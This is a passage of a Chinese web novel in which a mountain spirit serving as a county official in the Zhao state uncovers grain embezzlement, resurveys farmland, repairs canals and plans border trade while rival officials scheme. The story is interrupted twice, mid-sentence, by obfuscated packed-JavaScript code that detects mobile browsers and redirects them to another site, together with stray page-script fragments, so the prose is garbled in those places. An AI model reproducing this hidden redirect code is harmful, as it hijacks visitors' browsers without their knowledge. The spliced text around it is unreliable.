“下官……遵命。”蓝主簿慌忙低头,眼中却闪过一丝阴鸷。 “秦先生,粮仓清点、账目核对等,还需先生主持。本官给你调拨人手,务必尽快厘清亏空实数!”在吩咐完二人之后,徐县丞又看向秦云意。 “下官领命。”秦云意拱手,心中得意。 自此,一场雷厉风行的调查,就此展开了。 郑县尉的动作极快,城中粮仓立刻被披甲持戈的兵卒封锁。那蓝主簿虽不情愿,但无法,也只能派人去传唤三个里正,进入县衙大堂,至于秦云意,他带着徐县丞临时拨给他的几名书吏和衙役,进驻了粮仓,开始盘点亏空。 粮仓弥漫着一股陈粮和灰尘的气味,秦云意挥挥衣袖,便将手下分成好几组,一库一库清点、称重、记录,他同时还亲自核对账册,只为确保任何数字差异都逃不过自己的眼睛。 好在,进展比预想的还要顺利。不到两个时辰,初步清点结果就已经出来了:那账面应存粮秣一万二千石,实际盘点不足九千石,亏空竟超过了三千石!而且,新旧粮混杂,许多本该是去年甚至前年的陈粮,账上却记为——“新收”。 与此同时,另一边,派去追查车马的兵卒也回来了,还带回了令人震惊的消息:昨夜出城的三辆马车,在城外二十里处的山道上,竟遭遇山石崩塌,车毁人亡!拉车的马匹和赶车的护院全都死了,损失惨重。好在废墟中还能扒拉出几袋完好的粮食,以及几块带有官仓标记的木牌。 消息传回县衙,徐县丞勃然大怒,好嘛,这一下,人赃俱获,亏空确凿,姬仓吏又“恰巧”病重无法对质,这简直是铁证如山!而那被传唤来的三个里正,在二堂上也是破绽百出。李里正起初还想狡辩,但在秦云意当场出示的证人证言面前,顿时面如土色。 隔壁的王里正和张里正其实也好不到哪去:一个无法解释儿子捐官的巨款来源,一个被查出家里田产远超出自己俸禄。两人百口莫辩。 一来二去,也算是个墙倒众人推。很快,又有粮仓小吏良心未泯,站出来指证姬仓吏多次监守自盗,篡改出入记录这一番事来,惹得徐县丞大惊失色。风声鹤唳之下,姬仓吏的宅子也被兵卒迅速包围,本人还被从病榻上凄惨拎起,锁拿下狱。至于李里正、王里正、张里正……也一并全部收监,甚至牵连出的其他胥吏、帮闲等,也足足有十数人之多。 不知为何,蓝主簿和郑县尉在这过程中却显得异常沉默,或许是为了保全自身,蓝主簿甚至主动“检举”卞书吏,将自己撇得那叫个干干净净,卞书吏一时成了弃子,吓得在堂中瘫软在地,也被一并拿下。 仅仅三天时间,一场席卷曲阳官场的清腐风暴,就在秦云意的精准切入和徐县丞顺势推动下,迅速落幕了:姬吏和三个里正,被衙门定为“监守自盗、勾结胥吏、虚报丁口、截留粮税”的主犯,判午门斩立决,家产全部抄没。卞书吏等一干从犯,或流放,或进狱, 要说更加离谱的是,那些抄没的家产中,竟发现金银铜钱、田契地契、粮食布帛均无数,粗略估算,竟抵得上曲阳小半年的赋税!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153436|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>借此机会,徐县丞将案情和抄没清单一并合拢,快马报往邯郸,赚取了个好名声,同时,他还将追回的部分粮食,立刻开仓,按户赊贷给城中缺粮的百姓,以安民心。 一时间,徐县丞所谓“铁面无私”、“雷厉风行”的名声迅速传遍了曲阳城。百姓们拍手称快,虽明知道上面的大鱼可能还没抓到,但能除掉这些偷肩把滑的胥吏和里正,已是意外之喜。 而在这其中,那位精明强干的秦主事,也渐渐地为人们所知。 “秦主事是我朋友!你们看,我早看出他不是一般人!” 周三时不时就跟周围人炫耀他,至于茶摊的老顾客,譬如孙老和李匠人,也是与他有荣共焉。 独眼徐伯在其中依旧没有说话,但看得出来,在他舀茶时,脸上似乎舒展了许多。 自此,秦云意的地位悄然提升,那徐县丞对他更加器重,许多重要文书都交给他处理。至于蓝主簿和郑县尉……还是那副客气的样子,但这种客气中带着一丝疏离,鄙夷,还有忌惮。 当天夜晚,秦云意再次回到白山。 篝火边,他详细地讲述了这几日的经过,众妖听得眉飞色舞,不时说着“痛快”。 “螭君,您这招借力打力,太高明了!”赤练都眼神亮了。 “不过,就是没把那个主簿和县尉一起揪出来,这就有些可惜……” “不急。”秦云意用树枝拨弄着刚燃起的火堆,“那徐县丞还需要有人帮他干活,也需要有人替他顶住上面的压力。而蓝主簿和郑县尉,目前暂时动不了,但经此一事,他们也该知道收敛了,短时间内,估计再不敢明目张胆地兴风作浪。” “那那个徐县丞,可信吗?我看他也未必干净。”石公问。 “他当然不干净。”秦云意冷笑一声。 “但他要名声,要政绩,还想往上爬,所以,他会利用我清理下面的人,也会在一定程度上约束蓝、郑二人,目前这就够了,但若真想把曲阳城的官连根拔起……” 他摇了摇头。 “那估计也不是我一个主事能做到的事,我这根尺呀,暂时还量不了整个天下的不公,但至少能拓宽一下,让那些百姓被压弯的脊梁,稍微直起一些。” 秦云意站起身,目光如炬。 “接下来,我该做点实事了。” “啥实事?”耳鼠问道。 “清丈田亩,核定赋税,整顿胥吏,兴修水利……”秦云意掰扯着手指。 “那群贪官污吏要打,但百姓总要吃饭,要活命。光打掉这几个烂泥还不够,还得让他们有田种,有粮收,有活路才好……土地是为人的根本。我既当了这‘官’,总得做点官该做的事……” 之后,他告别了众妖,重新回到了县衙。 三日过去了。 随着贪官案的风波渐渐平息,曲阳城迎来了短暂的宁静,秦云意在县衙里的地位可以说是飞云直上,隐隐有了些“首席幕僚”的意味。某日,他正在翻阅近几年的田赋征收清册,脸色阴云遍布。 “秦主事……”那赵书吏如今对他更是恭敬有加,见他看册时眉头始终微蹙,于是小心翼翼地问道。 “这清册……可有不妥?” “你看,这城东何乡,田多,纳赋却少,而隔壁南边的清水乡,田土不过二百顷,纳赋却足足五百石,每倾更是多。这两地明明田力相近,赋额为何相差如此之大?” “主事有所不知,那何乡的,多是庄家的田,主人都多是城中富户,甚至还有邯郸来的贵人挂名。那儿的里正不敢多征,往往以各种理由核减赋额。而清水乡多是自耕农,至于田赋……自然是按上限核定的。” 赵书吏凑近看了看,低声说道。 “庄田……”秦云意冷笑几声。 其实那所谓庄田,往往都是地主,或权贵用来逃避重税,中饱私囊的漏洞。他接连又翻了几页,发现类似情况不止一处,可以说比比皆是:像什么膏腴之地赋轻,贫瘠之地反重,豪强之田隐匿,小民之田苛征……税赋不均,民力多疲! “还有这徭役,”秦云意翻到另一卷,指着上边的墨字,“说是去年修渠,征调民夫三千,实际记录出工者仅两千二百余人,其余近八百人的役钱……最后又入了谁的口袋?” 赵书吏不敢答,只一味低头研墨。 “备马吧,我要去城外看看。” 半个时辰后,秦云意骑着县衙一匹瘦马,带着赵书吏和两名衙役,出了曲阳城。 (我刚开始想的是一匹骡子,但画面喜感过头了,笑死我了) 12. 修缮 秋日的田野,本该是金黄一片,但秦云意一路走来,眼前景象却显得有些萧条:许多田地庄稼稀疏,显然是疏于管理或肥力不足所致,还有沟渠大多淤塞,田垄间被雨水冲垮等事,历历在目。 他们先是来到了何乡,找到了当地的里正,里正是个五十来岁、绸衫裹身的胖子,姓杜。见县衙主事亲临,杜里正脸上堆出十二分的笑,忙不迭地将人迎进自家青砖黛瓦、颇为气派的宅院,还吆喝着仆人上最好的茶。 不过,秦云意倒是没碰那盏青瓷茶盅,只是开门见山地问起那田赋与沟渠来。 “哎呀,秦主事明鉴!咱们何乡地势低洼,十年九涝,这田土,实在算不得上等。所以赋额定得低些,也是历任上官体恤民情呐!至于沟渠……” 他叹了口气,装作一脸愁容。 “那沟渠年年都修,可今年雨水忒大,又冲垮了不少,我等正打算具文上报,请衙门拨些钱粮重整呐!” “那那片也是下田?” 秦云意走到院中,指着远处一片明显肥沃、庄稼长势良好的田地,问他道。 “呃,那……那是……那是李员外的……庄子!对!他是请了江南专业的农师来打理,所以才长得好些。这不能比,不能比呀!”杜里正眼珠转了转,笑容僵了许多。 “李员外?那是城中粮行李掌柜?” “正是,正是。” 秦云意不再多问,转身看了几处沟渠,一个两个,果然淤塞严重,有好几段甚至还完全塌陷,泥水裹挟着树枝,竟形成一滩洼地,连旧日痕迹都难寻……他让赵书吏一一详细记录,目的是为了注明位置,还有此渠的损毁程度。 接着,几人离开何乡,又去了清水乡,这儿倒是与先前不同,此地的里正是个黑瘦的中年男子,说是姓田,住着三间土屋,见多些官差来,手足无措,目光还显得有些惶恐。 “咱们这儿田是差些,但赋额……唉……不敢瞒主事,确实重了。可也没法子,衙门定的数,谁敢改?去年村里有三户实在交不上,只好卖了田,去城里做苦力了,这地,不是我们不想修,而是根本挖不动,抬不起啊!” 当问起田赋税时,田里正叹了口气,心中苦涩万千,他抬起粗糙的手,指了指远处几处已然荒芜的院落。 秦云意沉默了,他看向一旁的沟渠,也如他所言,可以说更是惨不忍睹——几乎全废!那田里正说的对,他自己不是不想修,而是没钱没粮,青壮又随着打仗被征走不少,剩下的老弱妇孺多如牛毛,实在是无力修缮。 回城的路上,秦云意脸色十分难看,赵书吏和剩下的衙役跟在身后,见此,大气都不敢出一声。等傍晚回到县衙,秦云意马不停蹄,就径直去了二堂求见徐县丞。 “大人,”他将白日所见如实禀报,随后说道。 “下官发现,如今田赋不均,民力已竭,现水利不修,来年恐有旱涝之患。下官以为,当务之急,是重新清丈田亩,核定等则,均平赋额。同时,筹措钱粮,趁农闲整修沟渠,以备春耕。” “秦先生所言,俱是实情。只是……清丈田亩,牵涉甚广,恐引非议,至于整修水利,也需钱粮人力。如今府库虽追回些赃款,但大半已押解邯郸,所剩不多。且北边战事未歇,上面恐无余力顾及此处啊。” 徐县丞缓缓沉吟道。 “大人。”秦云意向前一步,正色言道,“民为邦本,本固邦宁。曲阳虽小,亦是赵国疆土。若民生凋敝,田土荒芜,纵有雄兵百万,粮草何来?兵源何出?如今清丈田亩,可增国库,修水利,亦可保收成。此乃固本培元之策,于国于民,皆有利焉。” 他顿了顿,又接着说道: “至于钱粮……追回赃款中,尚有部分粮食布帛留存本地。下官以为,可以工代赈,以追回之粮,募民修渠。如此,既不耗府库正项,又可解民饥困,兴修水利,一举三得!” 徐县丞眼中精光一闪,若是照秦云意所言以工代赈,用赃款赃物……不错,这主意不错!既能做出政绩,又不必自己掏腰包,还能落个“爱民如子”的名声。到了之后政绩也有了,民心还得了,更不用亏钱……妙哉! “秦先生果真思虑周详。”徐县丞忙点点头,“只是那清丈田亩一事,又涉及田产,豪强胥吏必然阻挠——先生可有应对之策?” “下官愿请命主持清丈,只需大人给予权限,拨付人手,至于阻挠……正好借此次贪墨案余威,杀一儆百。凡隐匿田亩、阻挠清丈者,按律论处!大人也可昭告全城,以示决心。”秦云意微微笑道。 “好!那就依先生所言!本官即刻签发告示,任命先生为‘清田使’,总领清丈田亩、核定赋税、督修水利之事!那县衙各房,便悉听调遣!”徐县丞拍案叫好。 “下官领命。”秦云意拱手,眼中闪过一抹微光。 接下来的日子,曲阳城再次忙碌起来。 县衙门口果然贴出了盖着大印的告示,宣布:即刻起,全面清丈田亩、均平赋税、以工代赈修水利。尽管百姓们将信将疑,但看到告示上明确写着“隐匿田亩者罚没”、“阻挠清丈者拘押”等话,又听说主持此事的是那位扳倒黑心仓吏与里正的秦主事,心中不由生出几分期盼。 果然,秦云意雷厉风行,近些日子,他不仅从县衙各房抽调了二十余名书吏、衙役,又从民间招募了数十名识文断字、熟悉田亩的乡老、士子,组成一只清丈队伍,还亲自训话,制定章程,命令所有数据公开张榜,即刻接受民众监督。 不过,也是时候了:阻力如期而至。 三日后,那何乡的杜里正便联合着五六名乡绅,一路哭嚷着闯进县衙二堂,一进到堂前,看见徐县丞,杜里正便扑跪在地,涕泪横流。 “徐青天!您可得给咱们小民主持公道啊!这清丈……清丈简直是要逼死良民啊!派人下田,践踏青苗、入户盘查,惊扰妇孺!咱们乡历来安分,赋税从未短缺,如今这般折腾,民心惶惶,春耕还如何是好?这……这分明是扰民坏政啊!” 一旁乡绅听闻,也纷纷附和: “是啊!我等田亩历年有册,账账清楚,又岂须重勘?” “我看那秦主事,是年轻气盛!徐大人莫要被小人蒙蔽,坏了我等乡里和睦啊!”杜里正见徐县丞正思忖,周围又不见秦主事踪迹,便加了把火,一把鼻一把泪地说道。 “杜里正,你口口声声从未短缺,安分守己,那你名下河西那三百七十亩水浇地,为何在县衙田册中仅记一百二十亩?” 声音从屏风后传来,秦云意缓步走出,刚才杜里正说了什么,他听的一清二楚。 “照此来看,你说,那剩余的二百五十亩‘隐田’,随着历年粮税,缴往何处了?” “你……你血口喷人!哪、哪有什么隐田!”杜里正听闻此话,如遭雷劈,脸色瞬间惨白。 秦云意不慌不忙地从袖中取出一份地契抄本,上面还有几张农户按了手印的证词。 “这是你三年前强占河西村王老铁儿家田产时,逼其签下的‘转让契’,剩下这个则是你每年雇人耕作、却从未上报纳粮的佃户供词。此外——” 他白了杜里正一眼,目光扫过其他乡绅。 “许员外,你祖坟旁还被扒出扩了的八十亩林地,牛掌柜,你这家伙将中田报为下田,每年至少少纳了赋粮三成……剩下这些,可要本官一一道来?” “你……你……你……”堂上,杜里正脸上的血色又褪去一分。当听到秦云意继续补充什么“强占田产”、“逼签转让契”、“佃户供词”时,浑身已开始筛糠般地颤抖。他指着秦云意,手指哆嗦如风中秋叶,嘴唇翕动,在急怒攻心之下,竟“噗”地一声,一大口暗红色的鲜血从口中喷溅而出。 那血沫混着唾沫星子,呈扇面状泼洒开来。徐县丞本正凝神听着,猝不及防,只觉得脸上一热,几滴粘稠温热的液体已然溅上了他的面颊,甚至有一星半点落在了他胡须上。 堂上霎时死寂。 所有人都惊呆了,连原本蠢蠢欲动,正欲补充的乡绅们也都僵在原地。 徐县丞缓缓抬手,用指尖抹了一下脸颊,又低头一看,指尖赫然是一抹刺目的红。他先是愣怔,随即,暴戾之气直冲顶门,脸色由白转青,又由青转红,额头青筋还隐隐跳动。那原本还尚有几分权衡利弊的犹疑,此刻也被这口污血彻底浇熄,只剩下雷霆之怒了。 “大胆杜昌盛!!!” 惊堂木被他拍得震天响,连木屑似乎都要迸溅出来。徐县丞霍然起身,指着瘫软在地,嘴角还挂着血丝的杜里正,声音因极怒而尖利: “你身为里正,不仅隐匿田亩,欺瞒官府,中饱私囊!如今竟敢在公堂之上,污损本官,咆哮公堂,形同叛逆!来人!!” 衙役们被这声怒吼吓得一个激灵,随即便如狼似虎般扑上前。 “革去其里正之职,摘去他的巾帽!抄查家产,隐田悉数充公!将其押入大牢,严加看管,待本官详查其所有罪状,一并严惩!” 徐县丞嫌恶地用袖子狠狠擦着脸,目光如刺,狠狠扎向那些早已吓瘫的乡绅身上。 “尔等涉案之人,限期三日,补缴历年所有欠赋,另罚银三倍!若有延误、隐瞒,同罪论处!都滚下去!” 衙役们粗暴地拖起烂泥般的杜里正,当众剥去他那身绸衫外罩的短褂,摘掉头巾,在一片死寂中将他拖拽下去。余下的乡绅们则魂飞魄散,磕头如捣蒜,额头撞在青砖地上砰砰作响,连称“大人开恩”、“小人愿罚”、“即刻就补”后,就连滚带爬地退了出去,生怕慢一步就步了杜里正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“小的不怕!要不是主事您,我周三还在码头扛包,吃了上顿没下顿呢。如今能跟着您办点正经事,心里踏实!再说,小的机灵着呢,他们抓不住什么把柄……” “谨慎些总还是好的。”接着,秦云意从袖中摸出几个铜板,放到周三手中。 “拿去,给你娘买点肉。办事归办事,家里也要顾好。” 周三眼眶一热,随即深深地鞠了一躬:“谢主事!” 片刻后,他离开了。秦云意转过身,信步走向城墙外的水利工地。那水利工地,近日同样热火朝天,为了保证工程质量,秦云意还不时与工头讨论如何更省工省料,虽然他话不多,但句句在点子上,且赏罚分明,比如拖欠工酬、偷工减料者严惩不贷,干得出色者额外有赏之类的话——人们都知道这位“秦青天”了,因此工地上总是秩序井然,民夫们干劲十足。消息传回,连徐县丞心中都对这位秦先生愈发看重。 可隔壁的二堂东厢就没这么好了,此时,蓝主簿正与郑县尉对坐,面色阴沉如狼。 “这死小子,手伸得未免也太长了!”郑县尉捏着茶杯,用力到指尖发白。 “清丈田亩,断人财路,修渠赈工,收买人心。更可虑者,他所用钱粮,皆出自‘赃物’……这是踩着姬仓吏和那几个里正的尸首,给自己铺路啊。”蓝主簿幽幽说道。“那难道就由着他?” “急什么。”蓝主簿抿了口茶,不慌不慢地说道,“清丈总有完的时候,账册总要汇总。而邯郸那边……近日也该有消息了。” “话虽如此,可你看他如今势头!徐县丞明显偏着他,清丈已近尾声,水利也修得七七八八。再让他这么折腾下去,咱们这些年……那些怕是藏不住了!” “藏不住?哼!那也得看,最后汇总的账册,是谁手里的账册。” 蓝主薄抬起眼,眼神很辣。 “那秦云意再能干,他一个人,怎么看得住所有数据?要说抄录、汇总、归档……这些环节,可都还在咱们手里。” “你的意思是……” “清水乡的田里正,近日偷偷去陈宅走动了。”蓝主簿嘴角勾起一丝冷笑,“而陈宅那位,手里还管着县库一部分旧档。我们稍微动一动,往前追溯几年……那姓秦的清丈出来,便对不上了。你说,是新数有问题,还是旧档有问题?到时候,一个‘年少孟浪、核查不严、数据失真’的罪名,够不够让他前功尽弃?” “妙……妙啊!还能顺势把水搅浑!话虽如此,那我们何时动手?”听闻此后,郑县尉眼中也露出狠色。 “不急。”蓝主簿摆摆手称,“等清丈总册快要成形,他最为松懈的时候,就好。” “另外,还有邯郸的回信,这几日也该到了。那位‘李大人’对徐县丞近来频频动作,很是不满。或许……我们还能给他添把火,让这把火烧得更旺些。” “一石二鸟!既能牵扯秦云意,又能敲打徐县丞!蓝兄,高啊!” “嘘——”蓝主簿竖起手指,示意隔墙有耳,“此事需万分小心。秦云意此人,看似沉静,实则敏锐。我们身边,未必没有他的眼线。” “放心,我会安排绝对可靠的人去做。” 二人又低声密议片刻,方才各自散去。 13. 山雨欲来风满楼 赵孝成王七年。 时秦将王龁继续攻赵,夺取太原郡,韩、魏皆震恐,赵孝成王悔拒割六城予秦,转而联与楚、魏,重用廉颇、平原君等以整防邯郸。齐则奉行“不助五国”之策,竟拒绝对赵支援粮草,以求免遭秦祸,至于那燕国,它本就与赵摩擦不断,惹得赵民众苦不堪言。 曲阳城内,由于田亩清丈和水利修缮等缘故,情况相比之前,虽未彻底解决,但已有所改善,与此同时,更多被庄家隐瞒的隐田业已被清理,一个一个登记造册,或充公,或重新核定赋税。那些原本被豪强占有的膏腴之地,也开始按照实际等级缴纳税额,过程虽仍有阻力,但在秦云意的雷厉风行和徐县丞的支持下,总体来看,还算顺利。 随着水利沟渠的疏通加固,田间滞留的积水也总算有了去处,旱时也有了引水的指望,至于以工代赈的措施,也让许多困顿的百姓熬过了青黄不接的时节,有的甚至还多了些余粮或布帛存放。秦云意的名声也在曲阳城里愈发响亮,百姓私下里不再称他为“秦主事”,而是带着几分亲切和敬意,唤他“秦先生”或“秦大人”。 今天是癸酉日。 彼时,秦云意刚从城外巡视沟渠回来,听闻边境赵人竟掘鼠穴觅粮,心中多有不忍,还未多言,便被徐县丞唤去了二堂。 “秦先生。”徐县丞脸上带着罕见的油光,“那清丈田亩的账册,可已汇总完毕?” “回大人,各乡数据均已上报,正在做最后的核对汇总,若无意外,三日内当可完成。”秦云意答道。 “好!那先生可知,邯郸刚刚传下嘉奖令,褒奖我曲阳清田均赋、以工代赈之举,还誉我为‘勤政爱民之典范’!上面的府库还特地为此拨下一笔钱粮,用于后续水利建设和春耕籽种。” 他压低声音,语气中带着几分得意。 “据闻,郡守大人对此颇为赞赏,更有意在年终考绩时……” 他没有说完,但意思不言而喻了——这位徐县丞徐大人的仕途,因为这次“政绩”,很可能要往上再挪一挪了。 “恭喜大人,此皆大人运筹帷幄、体恤民情之功。”秦云意拱手道,心中却仍想着赵人掘鼠穴觅粮此事。 徐县丞哈哈一笑,摆摆手说:“先生不必过谦,此事先生居功至伟,本官即日向郡守行文,为先生请功。先生大才,屈居主事,实在委屈,待此番事了,本官定当为先生谋一实缺!” “多谢大人提携。”秦云意面色平静,其实,人间官位,于他如浮云。他一直要的,是秉一颗道心,让这片土地上的百姓,至少能活得稍微像个人样。 从二堂出来,秦云意没有回文书房,而是转道去了西市。他注意到,自从水利修缮有了眉目,城外,从韩、魏两国运来的粮食、蔬菜、柴薪等,近日也入城多了起来,西市也比往日热闹了许多,但市面依旧萧条,货品单一,价格高昂,许多百姓仍是看的多,买的少。 “说到底,还是战事!”周三跟在他身边,小声嘀咕着什么,“虽说这修渠是好事,可也不能天天吃渠水饱肚子啊,总得想法子让大伙儿有钱挣。” 听闻这话,秦云意若有所思。是啊!近年战事不断,所谓清田均赋、修水利,也只是能让百姓勉强喘口气,离真正的安居乐业还差得很远呢!更何况,曲阳地处边陲,土地不算肥沃,连商贸也不发达,除了种地、扛活之外,百姓几乎没有别的生计。 他转过身,走到一个卖草编的摊位前,摊主是个老妪,面带皱纹,手指粗糙,即便如此,可她编的篮子、草鞋,却显得十分精致。结果一问价格——便宜的可怜!哪怕一天编上十双,也换不回一升粟米出来。而她身后铁匠铺的王瘸更是辛苦,叮叮当当,手臂染红,烫出水泡,身上汗流浃背,但农具需求总是有限,且许多农户,连破旧的农具都舍不得换新的,这生意怎么可能好的起来呢? “那若是……把这些草编、农具,卖到别处去呢?”秦云意沉思说。 “把这些玩意……卖到别处?就目前这征战情况,咱们这儿的东西,谁要啊?”周三愣住了。 “曲阳没有的,别处或许需要,同样,别处富余的,曲阳或许稀缺。”秦云意缓缓道。 “譬如,我听说北边燕赵边境虽然近日在打仗,但民间商队并未完全断绝,那燕地多是皮毛、药材,赵地则多盐铁、布帛。若能组织起一支可靠的商队,互通有无,利润应当不菲……” 语毕,周三眼睛亮了。 “您说的是!曾经我认识几个以前跑过货的脚夫,都说边境走私……啊不……是那民间贸易,油水很大!就是风险高,容易被当成细作抓起来,要么在这乱世被乱兵抢了……” “风险与机遇并存。”秦云意答道,“不过若是由县衙出面,发放‘通关文引’,组织商队,统一买卖,利润以部分归公,部分返还商户,或许可行?” 事实上,他说的很对。这曲阳城虽小,但地理位置特殊,是赵国北境几个县的联合中转点。若能恢复和发展边境贸易……不仅能增加官府收入,更能为百姓开辟新的生计,至少能让市面活起来。 “此事需从长计议。”秦云意对周三说,“你这段时间先暗中打听,问问城里还有多少做过贩运的商户或脚夫,他们更熟悉门路。另外,边境那边,现在到底是什么个状况,商道是否还通,也要摸清楚。” “得嘞!包在我身上!”周三摩拳擦掌,觉得跟着这位秦主事真是太好了,每天总有新鲜事干。 秦云意又在市集转了一圈,顺手买了几个草编的蝈蝈笼子,这笼子技艺精巧,外表着实好看,他准备带回山中给那妖们当玩意儿,也算是件稀罕物儿。 可就在他转身准备离开时,突然,他感觉到一道目光向自己探来。那目光……并非寻常市民的好奇或敬畏,而是……犀利,也不像是当官的,而是仿佛穿透皮囊,直刺内里丹田。 秦云意心头微紧,面上不动声色,眼神早已循着感觉望去,只见街角一家售卖香烛纸马的铺子门口,站着一个青袍人,约莫四十许年纪,面容清瘦,长着三缕长须,头上松松挽了个道髻,插着一根木簪。他手里拿着一叠黄纸,似乎正在挑选,但目光却似有若无地落在秦云意身上。 道士……?秦云意心中更紧。 四目相对,那青袍道人眼中闪过一丝极淡的诧异,但随即恢复平静,甚至对秦云意微微颔首示意,然后便低头继续看手中的黄纸,仿佛刚才只是无意一瞥。 但秦云意知道,这根本就不是无意。 他身为大妖,对同类的气息和修士的探查格外敏感——这就是个道士!而且,道行不浅,至少已筑基。 那此刻他的动作……他是看穿自己了?又或是没看出来,仅仅觉得有些异样? 秦云意心中念头急转,面上却依旧平静,然后便转过身去,若无其事地继续朝前。好在那道人没有跟来,也没有再看他,直到秦云意走出西市,拐进回县衙的巷子,那道被窥视的感觉才彻底消失。 秦云意在巷口停下,回头望了一眼西市方向,眉头微蹙。 道士……此时战乱频繁,却为何会出现在这偏僻的边城?是偶然路过,还是……当真是冲着自己来的?他想起山中石公曾提过,人间有些修士,会受朝廷或地方官员供奉,处理一些“非常之事”。难道徐县丞,或者蓝主簿、郑县尉……莫不是请了修士来对付自己? 他越想,脑子就越乱——不像。若真是被请来要对付他的,不会如此明目张胆地观察,更不会轻易放过。 那这又是为何? 下午,秦云意回到县衙后,行事更加谨慎了,他吩咐给诸妖,让它们留意城里或山旁,是否还有其他修士出没的迹象,当然,尤其是那个青袍道人。然而出乎意料的是,接下来的几日,曲阳风平浪静。那青袍道人仿佛凭空消失了一般,再未出现,耳鼠等妖也未在城中发现其他修士的踪迹。 秦云意也渐渐的放下心来,或许这人真是偶然路过。毕竟赵国北境不太平,有些云游道士经过也属正常。 想着,他叹了一口气,重新将精力投入到未竟的事务中。最近,清丈田亩的最终账册已经被整理完毕,隔壁的水利工程也接近尾声,几条主干渠已疏通,只等检验效果。他将这些呈报徐县丞,徐县丞大喜过望,准备上报郡府。 而关于组织商队、发展边境贸易的事,秦云意也开始着手准备了。他先是让周三暗中联络了几家以前做过贩运、家底尚存、为人也还可靠的商户,又查阅了县衙内存档的旧日商路图和边境关隘文书,初步拟定了章程。 照旧例,他再次回到白山,此行不仅带来了城中买的草编蝈蝈笼,还带了一包集市上买的麦芽糖和几块新出的、加了芝麻的胡饼。 “尝尝,人间的零嘴。”他将东西分给众妖。 豺叔迫不及待地抓起一块胡饼塞进嘴里,嚼得嘎嘣响,他近些日子都没用上人形,只因坚持化形太难,更何况他总是夜间出没,免不了遭受一些人的怀疑。 “唔!香!比生肉好吃多了!” “那麦芽糖,也甜,就……粘牙。”耳鼠唔唔地说道。 鸱明显对草编蝈蝈笼更感兴趣,它看了又看,似乎有些好奇,用喙轻轻啄了啄,想不通这是什么玩意,为啥不能吃。 秦云意看着它们,眼中带着笑意。这些山中伙伴们啊,虽然形貌各异,不通人情世故,但心思单纯,对他忠心耿耿——比起人间官场的尔虞我诈,与它们相处,反倒轻松自在了许多,他又想到百年前自己当上山君时,曾明令禁止诸位不准食人肉,只食山中精华或普通野兽,因此,这群妖怪虽为妖身,却都无浊气。 他盘膝坐下,顺带将这几日城中事务,尤其是遇到青袍道人的事,来回说了一遍。 “道士?”豺警惕地竖起耳朵,“是来找咱们麻烦的么?” “不知。”秦云意摇摇头,“不过,他若认出我是妖,当时就该动手,或者暗中尾随,但他没有,难道……或许只是路过?察觉我身上气息有异,多看了一眼?” “不可大意,人族修士,心思难测。”石公谨慎地说。 “石公所言极是,小心驶得万年船。我如今在人间行事,不宜与修士冲突。只要他不来招惹我们,我们也不必理会。”秦云意笑了笑。 他顿了顿,接着说起发展商队的事,说自己想让曲阳的百姓,除了种地,还能有条别的活路。于是尝试组织商队,互通有无,等赚了钱,大家日子就好过一些。 “螭君,您管他们日子好不好过作甚?咱们在山里逍遥快活,不比在人间当这劳什子官强?”石公正研究笼子,听闻这话,心中甚是不解。 “因为……我更想知道,‘道’在哪里。” 秦云意沉默了。 “山中三百年,吞吐日月,修炼神通,我以为那就是‘得道’,可后来发现,那只是术法,是让自己变强的路,却不是……让自己心安的路。” “我看见山下那些凡人,活得那么艰难,那么短暂,却还在拼命挣扎,为了活下去,为了家人,为了心里那点微末的念想。他们不懂修行,没有神通,朝生暮死,如同蝼蚁。可偏偏是这些蝼蚁,建起了城池,创造了文字,制定了律法,留下了歌谣和故事……他们身上,有一种山里精怪没有的东西。” “什么东西?”赤练好奇地问。 “我说不清。”秦云意摇摇头,“或许是情,也或许是义罢。就像那个偷粮册的少年,这家伙明明怕得要死,却还要去做……” 他拿起一个草编蝈蝈笼,拨弄着,让它在手中轻轻转动。 “这些东西,编它的人,可能明天就饿死了。但在编它的时候,她是认真的,想把它编得好看些,或许能多卖一文钱,给孙子孙女换块糖吃。这一份念想,或许就是她的‘道’。” 众妖似懂非懂。 “说来说去,我只不过想看看,如果我能让编蝈蝈笼的人,不用饿肚子,让那群种田的人,不用被苛捐杂税逼得卖儿卖女,我让这城里成千上万这样的念想,能多一点实现的可能。那么,我做的这些事,算不算也是一种‘得道’?” 秦云意笑了笑,他看向豺狼、石公、鸱等妖。 “你们跟着我,帮我做事,其实也算沾染了人间因果,或许……也能从中体悟到些什么。将来化形渡劫,或许更能多一分把握。” “螭君,您说得太深奥了,我们听不懂,不过我觉得跟着您有意思,至少比在山里无聊强多了。”豺狼点点头。 “我也是!说到底,反正闲着也是闲着……”耳鼠回答。 那鸱清鸣一声,也算是赞同他的话。 秦云意心中微暖。“好!”他站起身来。 “那我们就继续把这道走下去。用清田、修渠、通商……一点一点,把这片土地变得像样些。至于那个道士,还有之前的诡异怪物……” 他望向山外曲阳城的方向。 “只要他们不挡我们的路,便相安无事。若他真要做什么,就别怪我们不客气……” 之后的一段日子里,秦云意的生活规律而忙碌。每日卯时初刻起身,先在厢房中静坐调息半个时辰,而后去文书房处理公务,审阅各地里正上报的秋收税账,或是与徐县丞商议政事。 有一次,他正在文书房审阅一份城南织坊的文书请求,信件的主人,也就是织坊主是位姓柳的独女,其名柳家裳,夫家原是城中大户,丈夫早逝,留下偌大家业和一双年幼儿女,家裳颇有胆识,并未将产业变卖守财,反而亲自打理,将原本只做本地生意的小织坊,渐渐扩张,使织出的“曲阳锦”在周边县镇逐渐小有名气。 但战事一起,生丝来源便随之受阻了,价格疯狂飞涨,织坊难以为继。柳家裳便联合了几家小织户,上书县衙,恳请以“助军”名义,由官府出面,与南方尚有丝路畅通的县府协调,平价采购一批生丝,以维持织坊运转,保住数百织工生计。 